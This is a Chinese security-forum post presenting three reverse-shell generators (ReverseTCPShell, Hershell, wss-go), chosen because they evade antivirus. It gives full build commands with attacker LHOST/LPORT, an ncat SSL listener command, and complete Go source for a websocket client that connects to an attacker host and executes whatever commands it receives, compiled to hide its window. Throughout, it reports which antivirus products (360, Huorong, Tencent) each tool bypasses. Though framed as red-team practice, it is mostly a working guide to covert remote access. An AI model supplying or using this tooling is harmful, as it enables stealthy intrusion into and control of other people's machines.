安全矩阵

 找回密码
 立即注册
搜索
查看: 2675|回复: 0

几款小众而实用的远控软件

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-19 14:49:39 | 显示全部楼层 |阅读模式
原文链接:几款小众而实用的远控软件

前言众所周知在做红蓝对抗的时候不可或缺的工具便是shell生成器,我们耳熟能详的shell生成器,有CobaltStrike、msfconsole等,但是由于功能过于强大,且使用的人数比较多,这些著名的shell生成器所生成的shell特征已经被录入特征库,被各大厂商的杀毒软件和流量检测软件盯的相当紧,生成的shell可能刚上传这边就会报警。为了解决这种情况常见的有两种方案,一是工具二开,但对开发功底要求较高,二是选择小众、简单、但是免杀效果较好的shell生成软件,而本文将会给大家介绍ReverseTCPShell、Hershell、wss-go这三款款功能较少,但是免杀效果较好的shell生成器。
环境配置系统版本:
  •         Windows7 SP1 build 7601 x64

杀软版本:
  •         Windows防火墙
  •         360杀毒正式版——5.0.0.8183
  •         腾讯电脑管家——15.1.22391.224
  •         火绒——5.0.64.3

ReverseTCPShell C2ReverseTCPShell C2是一款使用powershell编写的反弹shell的工具,流量经过AES加密,payload可以通过ASCII、BXOR、Base64三种方式进行混淆,混淆后的Payload可绕过一些杀软的检测

image-20211209100526805
功能介绍:
  1. - Modules   | -显示C2服务器模块

  2. - Info      | -显示远程主机信息

  3. - Upload    | -从本地主机上传文件到远程主机

  4. - Download  | -从远程主机下载文件到本地主机

  5. - Screenshot| -屏幕截图到从远程主机到本地主机
复制代码


下载地址:https://github.com/ZHacker13/ReverseTCPShell
使用过程工具下载以后,文件夹中会有一个名为ReverseTCP.ps1的文件,使用Powershell运行它
设置好本机ip和监听端口

image-20211209101230791
设置好ip和监听端口后,会提示让你选择混淆方式,这里我们选择Base64混淆方式(3种混淆方式都测试过,均能有效绕过杀软全家桶,根据个人喜好进行选择即可)

image-20211209101659317
混淆完毕后,生成两段payload,一段是针对powershell的一段是针对cmd的,payload生成完毕后,工具自动开启端口监听,将生成的payload,复制到靶机的cmd或者powershell中(一定要选择对应的payload),成功后,这边会反弹一个shell回来。

image-20211209130142231
能够执行命令,表示我们成功绕过了杀软全家桶。
Hershell使用Go语言编写的简单TCP反向shell生成器,使用TLS来保护通信,并提供证书公钥指纹锁定功能,防止流量拦截。
支持的系统如下:
  •         Windows
  •         Linux
  •         Mac OS
  •         FreeBSD

因为是使用Go语言编写的,所以在使用之前需要先安装好go语言的环境
如果已经安装好go的环境这里可以直接跳过
Go语言环境安装(可跳过)首先去官网下载go的安装包,下载对应系统的安装包,我这使用的是Mac OS,下载pkg安装包后,双击安装即可
然后在终端中依次输入如下命令
  1. export GOROOT=/usr/local/go
  2. export GOBIN=$GOROOT/bin
  3. export PATH=$PATH:$GOBIN
  4. export GOPATH=$HOME/goph # (可选设置,建议有这个环境,后面会方便一些)
  5. go version # 查看是否安装成功
复制代码


使用获取项目依赖:
go get github.com/lesnuages/hershell
在工作目录下获取项目,并生成证书:
  1. git clone https://github.com/lesnuages/hershell.git
  2. cd hershell
  3. make depends
复制代码


以windows为例,生成一个客户端:
make windows64 LHOST=xxx.xxx.xxx.xxx(攻击机ip) LPORT=xxxx(攻击机端口)
各种系统生成客户端的命令如下:
  •         Windows


  1. # 32位系统
  2. make windows32 LHOST=xxx.xxx.xxx.xxx LPORT=xxxx
  3. # 64位系统
  4. make windows64 LHOST=xxx.xxx.xxx.xxx LPORT=xxxx
复制代码



  •         Linux

  1. # 32位系统
  2. make linux32 LHOST=xxx.xxx.xxx.xxx LPORT=xxxx
  3. # 64位系统
  4. make linux64 LHOST=xxx.xxx.xxx.xxx LPORT=xxxx
复制代码


  •         MacOS

make macos LHOST=xxx.xxx.xxx.xxx LPORT=xxxx
GitHub项目里所给的教程里到这里就生成成功了,但是在编译的过程中会出现问题,需要通过报错,去调整依赖包,从而将依赖包的路径和文件配置中的路径相匹配,完成编译。
将生成的hershell.exe文件放到靶机里,刚拷贝过去,还没等运行它无了。。。。后来经过排查发现,能够绕过Windows防火墙、火绒、电脑管家,但是终究还是逃不过360杀毒。。。于是乎,我把360杀毒给关了。
然后可以使用一些程序开始进行监听,官方给出的有这些程序:
  •         socat
  •         ncat
  •         openssl server module
  •         metasploit multi handler

建议使用ncat,安装nmap即可拥有
在刚才编译hershell.exe的目录下执行命令
ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp xxxx #xxxx为攻击机的端口,一定注意要跟前面编译的端口一样
在虚拟机中运行hershell.exe,这边拿到shell


其他的几种方法,socat一直处于报错状态,无法进行测试。
至于metasploit multi handler,需要搭配ncat或socat拿到shell以后再传给metasploit multi handler,而且经过测试,互传shell失败,截至目前能成功拿到shell的只有ncat。
wss-go简介一款使用Golang编写的Websocket with SSL的反向Shell,支持跨平台,适用于Windows、Linux和MacOS,使用Websocket进行通信,并使用SSL证书进行加密。
特性
  •         握手阶段使用的是HTTP协议,所以在握手过程中不容易阻塞,可以通过各种HTTP代理服务器。
  •         使用SSL证书进行加密。
  •         数据格式相对轻量,性能开销小,通信高效隐蔽。

免杀效果能够绕过电脑管家、火绒以及微软自带的防火墙,但是无法绕过360杀毒
使用流程跟前面提到的HerShell一样,因为是使用Go语言进行编写的,所以使用之前要保证已经安装好Go语言的环境,这里就不进行赘述了。
首先需要编译两个执行文件,一个客户端的,一个服务端的。
客户端文件(client)是后续放在我们的被攻击机中,服务端文件(server)放在我们的攻击机上。
下载好文件,首先需要修改一下client/client.go文件中的ip地址
  1. package main

  2. import (
  3. "crypto/tls"
  4. "flag"
  5. "github.com/gorilla/websocket"
  6. log "github.com/sirupsen/logrus"
  7. "net/url"
  8. "os"
  9. "os/exec"
  10. "strings"
  11. )

  12. var (
  13. addr = flag.String("addr", "localhost:443", "")
  14. )

  15. func init() {
  16. //log.SetFormatter(&log.JSONFormatter{})

  17. log.SetOutput(os.Stdout)

  18. //log.SetLevel(log.WarnLevel)
  19. log.SetLevel(log.InfoLevel)
  20. }

  21. func main() {
  22. flag.Parse()

  23. tlsConfig := tls.Config{
  24.   InsecureSkipVerify: true,
  25. }
  26. dial := websocket.Dialer{TLSClientConfig: &tlsConfig}

  27. u := url.URL{Scheme: "wss", Host: *addr, Path: "/"}
  28. log.Printf("connecting to %s", u.String())

  29. c, _, err := dial.Dial(u.String(), nil)
  30. if err != nil {
  31.   log.Fatalln(err)
  32. }
  33. defer c.Close()

  34. for {
  35.   _, message, err := c.ReadMessage()
  36.   if err != nil {
  37.    log.Fatalln(err)
  38.   }
  39.   cmdList := strings.Split(string(message), " ")
  40.   cmd := exec.Command(cmdList[0], cmdList[1:]...)

  41.   out, err := cmd.Output()
  42.   err = c.WriteMessage(websocket.TextMessage, out)
  43.   if err != nil {
  44.    log.Fatalln(err)
  45.   }

  46. }
  47. }
复制代码


将代码中的localhost改为攻击机的ip地址
在项目所在目录输入如下命令分别对攻击机文件和被攻击机文件进行编译
  1. # windows系统
  2. go env -w GOOS=windows
  3. # 编译攻击机文件
  4. go build -o wssServer server/server.go
  5. # 编译被攻击机文件
  6. go build -o wssClient.exe -ldflags -H=windowsgui -ldflags "-s -w" client/client.go

  7. # MacOS/Linux系统
  8. go env -w GOOS=darwin/linux
  9. # 编译攻击机文件
  10. go build -o wssServer server/server.go
  11. # 编译被攻击机文件
  12. go bulid -o wssClient client/client.go
复制代码


编译完毕后,文件分别上传到攻击机和被攻击机中,在终端中分别运行对应文件,成功弹回shell证明我们成功绕过腾讯电脑管家和火绒。

image-20211217092057912

image-20211217090412563



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-7-20 21:17 , Processed in 0.013798 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表